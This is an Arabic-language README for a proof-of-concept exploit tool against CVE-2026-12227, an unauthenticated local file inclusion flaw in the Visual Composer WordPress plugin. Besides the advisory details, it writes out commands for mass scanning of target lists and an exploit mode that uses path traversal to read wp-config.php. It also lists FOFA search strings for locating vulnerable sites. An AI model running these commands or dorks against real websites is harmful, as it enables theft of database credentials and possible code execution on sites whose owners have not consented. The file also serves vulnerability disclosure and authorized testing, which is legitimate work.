CVE-2026-12227 — تضمين ملف محلي (LFI) غير مُصادَق عليه في Visual Composer Website Builder
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-12227 (Wordfence): تضمين ملف محلي عبر معامل الاستعلام vcv-template في Visual Composer Website Builder (visualcomposer على wordpress.org).
| |
|---|
| المنصة | إضافة WordPress |
| المكوّن | Visual Composer Website Builder |
| المتأثر | ≤ 45.16.0 |
| تم إصلاحه في | > 45.16.0 (WP Trac 3619572) — استخدم أحدث إصدار مستقر (مثل 45.16.3+) |
| CVSS | 9.8 حرج (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| المصادقة | غير مُصادَق عليه |
| CWE | CWE-98 |
| ليس | WPBakery (js_composer) أو SAP NetWeaver Visual Composer |
الملخص
في الإصدارات المتأثرة، تستجيب تحميلات الصفحات العامة لـ vcv-template الذي يتحكم فيه المهاجم (مع vcv-template-type) أثناء معالجة template_include في WordPress داخل PageTemplatesController. قد يؤدي ذلك إلى تضمين ملفات يختارها المهاجم على القرص؛ وقد تُنفَّذ ملفات PHP (RCE). تشير Wordfence إلى سلاسل استغلال مع امتدادات "آمنة" مرفوعة في بعض الإعدادات.
سطح الهجوم
- يتطلب تثبيت الإضافة ووجود صفحة واجهة أمامية مبنية بـ VC (رابط دائم عادي).
- يضيف الفحص معاملات الاستعلام، مثل
?vcv-template-type=vc&vcv-template=blank أو مسارات LFI تحت vcv-template.
- المعاملات ذات الصلة:
vcv-template-type، vcv-template-stretched.
المتطلبات
pip install -r requirements.txt
Python 3.8+.
الاستخدام
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
المخرجات
| الملف | المعنى |
|---|
cve_2026_12227_results.jsonl | JSON كامل لكل هدف |
|
قيم الحالة
تلميحات FOFA
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
ملاحظات تقنية
- مسار الكود:
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout، viewPageTemplate).
- يعتبر الفحص التحكم بالمعامل أو علامات LFI بمثابة
exploitable_candidate؛ أكّد على نسخة staging قبل افتراض RCE.
- قد توسّع إضافات TemplateFilter / theme-builder المميزة المسارات القابلة للوصول في بعض المواقع.
قانوني
استخدم فقط على الأنظمة التي تملكها أو لديك إذن صريح باختبارها.